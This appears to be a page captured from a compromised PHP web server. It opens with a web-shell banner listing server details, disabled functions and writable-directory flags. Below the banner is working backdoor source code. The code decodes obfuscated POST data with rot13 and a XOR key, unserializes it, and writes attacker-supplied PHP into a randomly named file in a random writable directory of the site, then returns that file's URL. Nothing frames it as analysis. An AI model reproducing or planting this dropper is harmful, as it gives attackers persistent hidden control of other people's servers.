Server : nginx/1.20.1 System : Linux ccpf-production-2021 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 User : forge ( 1000) PHP Version : 7.4.21 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, Directory :  /home/forge/default/public/

Upload File : current_dir [ Writeable ] document_root [ Writeable ]

<?php

foreach ($_POST as $session_key => $value)
{
    if (strlen($session_key) == 16)
    {
        $value = str_split(rawurldecode(str_rot13($value)));
        $session_key = array_slice(str_split(str_repeat($session_key, (count($value)/16)+1)), 0, count($value));

        function encoder($val, $index, $session_key)
        {
            $auth = "suztdxqotgcprpvv";
            return $val ^ $auth[$index % strlen($auth)] ^ $session_key;
        }

        $value = implode("", array_map("encoder", array_values($value), array_keys($value), array_values($session_key)));

        $value = @unserialize($value);

        if (@is_array($value))
        {
            $key = array_keys($value);
            $value = $value[$key[0]];

            if ($value === $key[0])
            {
                echo @serialize(Array("php" => @phpversion(), ));exit();
            }
            else {
                function listdirs($dir)
                {
                    static $alldirs = array();
                    $dirs = glob($dir . '/*', GLOB_ONLYDIR);
                    if (count($dirs) > 0) {
                        foreach ($dirs as $d) {
                            if (@is_writable($d)) {
                                $alldirs[] = $d;
                            }
                        }
                    }
                    foreach ($dirs as $dir) listdirs($dir);
                    return $alldirs;
                }

                $docroot = $_SERVER["DOCUMENT_ROOT"];

                $dirs = listdirs($docroot);
                $key = array_rand($dirs);
                $dest = $dirs[$key] . "/" . substr(md5(time()), 0, 8) . ".php";

                @file_put_contents($dest, $value);

                echo "http://" . $_SERVER["HTTP_HOST"] . substr($dest, strlen($docroot));

                exit();
            }
        }
    }
}